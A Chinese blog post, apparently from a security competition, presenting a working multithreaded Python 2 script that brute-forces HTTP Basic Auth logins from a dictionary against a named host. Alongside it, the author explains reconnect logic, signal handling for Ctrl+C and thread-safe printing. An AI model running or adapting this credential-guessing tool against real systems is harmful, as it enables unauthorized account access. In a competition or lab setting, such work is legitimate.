python 多线程服务器验证，实现断开重连，信号量解决主线程Ctrl+C不退出问题，多线程打印错行问题

最近在做一个比赛

有道题给了一个字典，user和pass都在字典中

服务器没有验证码

摆明了要用脚本跑username和password

顺便把以前想实现的给实现了。。

人生啊，不要拖拖拉拉

零、遇到的问题：

1、脚本跑着跑着就断线了，怎么重连呢？

2、主线程按Ctrl+C，不能退出

3、多线程打印错行，不能老实的一行一行地打印

一、脚本跑着跑着就断线了，怎么重连呢？

把多线程中的调用函数如def login()加一个try except，在except中重新调用login()即可

为了更加人性化，加入了两个标记变量i和j（也就是start_user和start_pass），标记从i和j处重新跑

二、主线程按Ctrl+C，不能退出

这个Ctrl+C比较棘手，参考文章：http://my.oschina.net/apoptosis/blog/125099

主要用信号量的方法，分6个小步骤来解决就好了：

1、

定义一个全局变量：is_exit = False

2、

定义一个处理变量的函数：

def handler(signum,frame):
    global is_exit
    is_exit = True
    tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
    sys.stdout.write(tstr)

3、

在main函数中注册信号捕捉函数：

    #修改is_exit信号，让子线程也能接受Ctrl+C
    #用函数signal注册一个信号捕捉函数，捕捉到后交给handle去处理
    signal.signal(signal.SIGINT,handler)
    signal.signal(signal.SIGTERM,handler)

4、

在子线程函数，本例子中是login()，添加处理信号变更的处理：

            #修改全局变量，接受到Ctrl+C,is_exit就会变成True,就会退出
            if is_exit:
                tstr = "thread"+str(index)+", receive a signal to exit...\n" 
                sys.stdout.write(tstr)
                return

 
5、

将子线程设置为后台运行

tmpth = threading.Thread(target = login,args=(i,0,0,))
tmpth.setDaemon(True)

6、

修改tmpth.join()

为自定义的等待代码：

    #for i in range(th_num):
    #    ths[i].join()

    while True:
        alive = False
        for i in range(th_num):
            alive = alive or ths[i].isAlive()
        if not alive:
            break

实际上结果是良好的：

三、多线程打印错行，不能老实的一行一行地打印

错行的效果如下：

看到没有，都不能老老实实得在一行行来吗？

然后在CSDN发帖子询问，得知要用：

sys.stdout.write(str+'\n') 

代替：

print str

好吧，效果果然很不错，可以参照上上图（不是上图，我不是大舌头）

那么，为什么呢？

python shell 下help(print) ，它说print是输出到sys.stdout 中，也是调用write

一样的函数，不一样的效果，我怀疑是print没有维护一个buffer，而sys.stdout.write的时候有维护，导致了

前者竞争输出，后者有个缓冲区导致输出很规整。（以上纯属猜想，因为py文档英文也看不懂，网上也没有好资料，实验也不好做。。）

四、所有的代码

本来py就是强调精短，而我却弄这么多。。

好吧，难道我会告诉你其实如果不考虑：

多线程，print，Ctrl+C，重连

我的代码会很短吗？

# -*- coding: cp936 -*-
import urllib
import httplib
import base64
import threading
import sys,os,time,signal

#导入dic字典
f = open('youcanfindit.dic','r')
dic = []
while True:
    t = f.readline()
    if not t:
        break
    dic.append(t.strip('\n'))
f.close()


#只需要输入th线程数量，程序自动配置后每个线程的case数
#比如某些高富帅的线程可以设置为100，我的最高只能40，否则内存就不够用了。。
#这里强调，不是线程越多越快，线程多，只是说开始办事的人很多，每个人平摊下来任务少了，没说任务效率变快
#请考虑py的调度，每个时刻只有一个线程在运行,调度的时间大大增多，这是个综合考虑的问题
th_num = 10
dic_len = len(dic)
case_in_th_num = dic_len/th_num
case_in_last_th_num = dic_len - th_num * case_in_th_num

#响应Ctrl+C
is_exit = False
def handler(signum,frame):
    global is_exit
    is_exit = True
    tstr = "receive a signal %d,is_exit = %d \n" % (signum,is_exit)
    sys.stdout.write(tstr)

#支持断线重连，start_user 和 start_pass 标记了user和pass重连的位置
def login(index,start_user,start_pass):
    global is_exit    

        
    if index == th_num-1:
        name = dic[case_in_th_num*index:case_in_th_num*index+case_in_last_th_num]
    else:
        name = dic[100*index:100*index+100]
    for i in range(start_user,len(name)):
        for j in range(len(dic)):
            #修改全局变量，接受到Ctrl+C,is_exit就会变成True,就会退出
            if is_exit:
                tstr = "thread"+str(index)+", receive a signal to exit...\n" 
                sys.stdout.write(tstr)
                return
    
            #记录断线的i(user)和j(pass)，从i重新跑一遍，j依赖于i
            if i == start_user:
                if j < start_pass:
                    continue
                
            name_pass = base64.b64encode(name[i]+':'+dic[j])
            headers = {
            'Host': 'wocao.ismilent.com',
            'Connection': 'keep-alive',
            'Cache-Control':'max-age=0',
            'Authorization' : 'Basic '+name_pass,
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36',
            'Accept-Encoding': 'gzip,deflate,sdch',
            'Accept-Language': 'zh-CN,zh;q=0.8'
            }
            try:
                conn = httplib.HTTPConnection('wocao.ismilent.com',80)
                conn.request('GET','',None,headers)
                res = conn.getresponse()
                tstr = str(index)+","+str(i)+":"+str(j)+"--"+name[i]+":"+dic[j]+"\n"
                sys.stdout.write(tstr)
                
                if res.reason != 'Unauthorized':
                    print res
                    out = open('out.txt','w')
                    out.write(name[i]+":"+dic[j])
                    out.close()
                    print name[i],dic[j],'!!!!!!!!!!!!!Success!!!Finished...!!!!!!!!!!!!!'
                    exit(-2)
            except:
                #断线重连，记录i，j
                #这里注意如果获取到了name和pass，那么会进去if res.reason != 'Unauthorized':中
                #然后弹出个框框问你是否要结束，如果点击否，会触发异常
                #进入这里的login，那么i，j又是原来的那个正确的user pass 又会问你是否退出，以下循环！
                #这不是bug！！！
                tstr = "reconnecting..."+str(i)+":"+str(j)+"\n"
                sys.stdout.write(tstr)
                #login(index,i,j)


 

if __name__ == '__main__':
    #修改is_exit信号，让子线程也能接受Ctrl+C
    signal.signal(signal.SIGINT,handler)
    signal.signal(signal.SIGTERM,handler)
    
    ths = []
    for i in range(th_num):
        print 'threading '+str(i)
        tmpth = threading.Thread(target = login,args=(i,0,0,))
        tmpth.setDaemon(True)
        ths.append(tmpth)
        tmpth.start()
    
    #for i in range(th_num):
    #    ths[i].join()

    while True:
        alive = False
        for i in range(th_num):
            alive = alive or ths[i].isAlive()
        if not alive:
            break
        
    print '!!!!!!!!!!Sorry,find nothing,finished!!!!!!!!!'